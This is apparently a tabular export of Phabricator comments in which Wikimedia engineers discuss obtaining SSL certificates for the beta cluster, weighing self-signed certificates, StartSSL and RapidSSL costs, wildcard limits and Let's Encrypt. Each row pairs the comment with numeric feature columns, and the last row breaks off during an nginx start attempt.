572897,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Yeah, beta.wmflabs.org was in the private beta. Don't know if it can actually work with our setup though.",,,1449227020,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,118,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,9.0,14.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9545454545454546,"Yeah, beta.wmflabs.org was in the private beta. Don't know if it can actually work with our setup though."
572840,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Let's Encrypt is in Public Beta now. Everyone can get free certificates from them now.

[1] https://letsencrypt.org/2015/12/03/entering-public-beta.html
[2] User Guide for getting certs using Let's Encrypt client: https://letsencrypt.readthedocs.org/en/latest/",,,1449209519,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,118,True,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,8.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,5.0,3.4615384615384617,0.7948717948717948,"Let's Encrypt is in Public Beta now. Everyone can get free certificates from them now.

[1] URL
[2] User Guide for getting certs using Let's Encrypt client: URL"
548850,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1669896, @Chmarkine wrote:
> [[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 
> 
> (*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.

Let's Encrypt has received the cross-signature, so its certificates are now trusted by all major browsers.

[1] https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html",,,1445334021,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,111,True,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,3.0,15.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.6470588235294117,0.8235294117647058,"QUOTE
QUOTE
QUOTE
QUOTE

Let's Encrypt has received the cross-signature, so its certificates are now trusted by all major browsers.

[1] URL"
534286,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 

Yes. But StartCom charges $24.9 for each certificate revocation.

https://www.startssl.com/?app=43",,,1443105776,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.8333333333333334,"QUOTE
QUOTE

Yes. But StartCom charges $24.9 for each certificate revocation.

URL"
534284,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,">>! In T50501#1670596, @Lixxx235 wrote:
> Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. 

Yes. But StartCom charges $25 for each certificate revocation.",,,1443105592,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,0.875,"QUOTE
QUOTE

Yes. But StartCom charges $25 for each certificate revocation."
534221,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. ",,,1443100193,,PHID-USER-2hzxflhh7cwlrnz74x6y,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,108,True,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.96,"Chmarkine, there's always StartCom/StartSSL which has free certs, and they're already trusted by default in all major browsers. "
534188,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I think we'd also want upload.beta.wmflabs.org, maybe stream.wmflabs.org, all of the m./zero. variants? What about mx.beta.wmflabs.org?",,,1443097851,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,9.0,14.0,9.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.454545454545454,0.9090909090909091,"I think we'd also want upload.beta.wmflabs.org, maybe stream.wmflabs.org, all of the m./zero. variants? What about mx.beta.wmflabs.org?"
534055,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"[[ https://letsencrypt.org/ | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ http://meta.wikimedia.beta.wmflabs.org/wiki/Special:SiteMatrix | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 

(*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then.",,,1443084427,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,108,True,1.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,13.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,10.0,8.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.2666666666666666,0.7,"[[ URL | Let's Encrypt ]] provides free trusted(*) DV non-wildcard certs. We have 31 domains lists [[ URL | here ]]. If you think it's plausible, we can obtain 31 certs (one for each domain) from Let's Encrypt at zero cost. 

(*) They will have their CA certificate cross-signed by IdenTrust next month, so the certs they issued won't be trusted until then."
524836,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"one more reason we should have this is to avoid needing https://gerrit.wikimedia.org/r/237523  (T105794, T112195)",,,1441924507,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,106,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,6.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,4.055555555555555,1.0,"one more reason we should have this is to avoid needing GERRIT_URL  (T105794, T112195)"
505970,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA'd task at T97593 which Brandon is driving.,,,1439306906,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,101,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,4.285714285714286,1.0,SCREEN_NAME: there's an NDA'd task at T97593 which Brandon is driving.
505956,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@ArielGlenn: there's an NDA's task at T97593 which Brandon is driving.,,,1439306268,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,101,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,27.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,4.0,0.9333333333333333,SCREEN_NAME: there's an NDA's task at T97593 which Brandon is driving.
505798,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,@greg  so what's the decision; there's also https://phabricator.wikimedia.org/T75919 and https://phabricator.wikimedia.org/T70387   Self-signed certs in beta or not?  ,,,1439287610,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,101,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.32,0.88,SCREEN_NAME  so what's the decision; there's also URL and URL   Self-signed certs in beta or not?  
445536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is T70387 a duplicate of this?,,,1429298534,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,Is T70387 a duplicate of this?
227553,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Matthew Flaschen from comment #93)
> If cost is the issue, did we consider setting up our own certificate
> authority (chained to an existing root)?  It's an upfront cost, but as I
> understand it that means no per-cert cost.
> 
> Google and Microsoft both have them, just to name a couple.

Getting a delegated signing certificate is a huge deal actually. Once you have one, any certificate you sign is trusted by all who trust your upstream signer. The x509 protocol does not make it possible to construct a trusted signing certificate that is restricted to a particular domain. As such, any trusted signer who issues delegate signing certificates must impose strict practices and regular audits of those practices on any delegate organization.",,,1406914396,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,48,True,4.0,0.0,0.0,2.0,1.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,12.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,3.0,0.0,2.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,4.55,0.68,"(In reply to Matthew Flaschen from comment #93)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Getting a delegated signing certificate is a huge deal actually. Once you have one, any certificate you sign is trusted by all who trust your upstream signer. The x509 protocol does not make it possible to construct a trusted signing certificate that is restricted to a particular domain. As such, any trusted signer who issues delegate signing certificates must impose strict practices and regular audits of those practices on any delegate organization."
227544,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"I can think of three significant problems with self-signed certificates:

1. It trains people to ignore SSL warnings, which means they ignore them when it's a legit problem.
2. It causes problems with automated tests (not clear if all of these have been worked around).
3. It's a real pain when testing manually because you have to visit https://bits.beta.wmflabs.org/ (and maybe also upload.beta.wmflabs.org) manually in Firefox.

FWIW, https://en.wikipedia.beta.wmflabs.org isn't working at all (not even invalid) right now (can't connect), but I assume that's temporary

If cost is the issue, did we consider setting up our own certificate authority (chained to an existing root)?  It's an upfront cost, but as I understand it that means no per-cert cost.

Google and Microsoft both have them, just to name a couple.",,,1398901677,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,35,True,1.0,0.0,0.0,0.5,2.5,4.5,0.5,0.5,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,9.5,8.5,0.0,1.5,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.5,0.0,0.0,8.5,3.5,3.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,1.5,0.0,0.5,0.0,3.5,1.5,8.0,2.5,2.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,8.0,8.5,3.5,0.5,0.0,0.0,8.0,0.0,2.0,3.0,1.0,2.5,0.0,0.0,1.5,3.7235978112175103,0.7602599179206566,"I can think of three significant problems with self-signed certificates:

1. It trains people to ignore SSL warnings, which means they ignore them when it's a legit problem.
2. It causes problems with automated tests (not clear if all of these have been worked around).
3. It's a real pain when testing manually because you have to visit URL (and maybe also upload.beta.wmflabs.org) manually in Firefox.

FWIW, URL isn't working at all (not even invalid) right now (can't connect), but I assume that's temporary

If cost is the issue, did we consider setting up our own certificate authority (chained to an existing root)?  It's an upfront cost, but as I understand it that means no per-cert cost.

Google and Microsoft both have them, just to name a couple."
227536,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"This bug seems to be drifted away from the initial comment.
(In reply to Antoine ""hashar"" Musso from comment #0)
> We need certificates generated by 'Labs CA' for the entries listed in
> role::protoproxy::ssl::beta and some more.  I guess the easiest would be to
> create *.beta.wmflabs.org cert that will also contains the following DNS
> entries:

So

(In reply to Greg Grossmeier from comment #91)
> Won't Fix'ing this for now.
> A) We have self-signed certs in place on Beta

We still don't have valid self-signed certs for beta since eqiad migration as far as I know. At least nginx refuses to starts because of cert mismatch. As I was told in bug 63538 that this (certs) is handled here, I REOPEN. Please generate new (self-signed) certs.",,,1398877580,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,35,True,0.0,0.0,0.0,2.5,0.5,3.5,0.0,1.0,0.0,0.0,4.5,0.5,0.0,0.0,0.0,3.0,0.0,4.5,13.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,3.5,1.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.5,13.5,2.5,0.0,2.0,0.0,0.0,0.0,1.0,3.0,1.0,2.0,0.0,3.0,13.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.4363278886872353,0.6704476709013913,"This bug seems to be drifted away from the initial comment.
(In reply to Antoine ""hashar"" Musso from comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

So

(In reply to Greg Grossmeier from comment #91)
QUOTE
QUOTE

We still don't have valid self-signed certs for beta since eqiad migration as far as I know. At least nginx refuses to starts because of cert mismatch. As I was told in bug 63538 that this (certs) is handled here, I REOPEN. Please generate new (self-signed) certs."
227528,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Won't Fix'ing this for now.

A) We have self-signed certs in place on Beta
B) Real certs are expensive
C) There hasn't been any team come with a specific use case where buying the real certs would make sense.

Feel free to reopen if any of the above changes.",,,1398876875,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,35,True,3.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,2.0,2.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,16.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,11.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3968253968253967,0.8253968253968254,"Won't Fix'ing this for now.

A) We have self-signed certs in place on Beta
B) Real certs are expensive
C) There hasn't been any team come with a specific use case where buying the real certs would make sense.

Feel free to reopen if any of the above changes."
227523,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org," > I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one
> level of wildcard possible). But ask RobH to make sure.

Ah indeed my bad. Sorry :-]",,,1397643671,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.9090909090909091,"QUOTE
QUOTE

Ah indeed my bad. Sorry :-]"
227515,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to Antoine ""hashar"" Musso from comment #86)
star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one level of wildcard possible). But ask RobH to make sure.",,,1397643379,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,5.0,2.0,4.0,0.0,4.0,9.0,14.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,0.8771929824561403,"(In reply to Antoine ""hashar"" Musso from comment #86)
star.wmflabs.org would cover the entries:

 bits.beta.wmflabs.org
 upload.beta.wmflabs.org
 wikidata.beta.wmflabs.org

I'm afraid it can't and *.wmflabs.org is not *.beta.wmflabs.org (only one level of wildcard possible). But ask RobH to make sure."
227509,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"for *.wmflabs.org, the self-signed cert has recently been replaced with one from RapidSSL , at first the chained file, which is created by puppet was wrong, the above changes should have fixed that.",,,1397643103,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0.0,0.0,0.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.875,"for *.wmflabs.org, the self-signed cert has recently been replaced with one from RapidSSL , at first the chained file, which is created by puppet was wrong, the above changes should have fixed that."
227501,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"

https://gerrit.wikimedia.org/r/#/c/111386/
https://gerrit.wikimedia.org/r/#/c/126008/1",,,1397643019,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.25,0.75,"

URL
URL"
227495,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
The beta cluster has for Varnish instances with a Nginx HTTPS proxy installed.  Nginx refuses to start because the star.wmflabs.org certificate is invalid:

root@deployment-cache-bits01:~# /etc/init.d/nginx start
Starting nginx: nginx: [emerg]
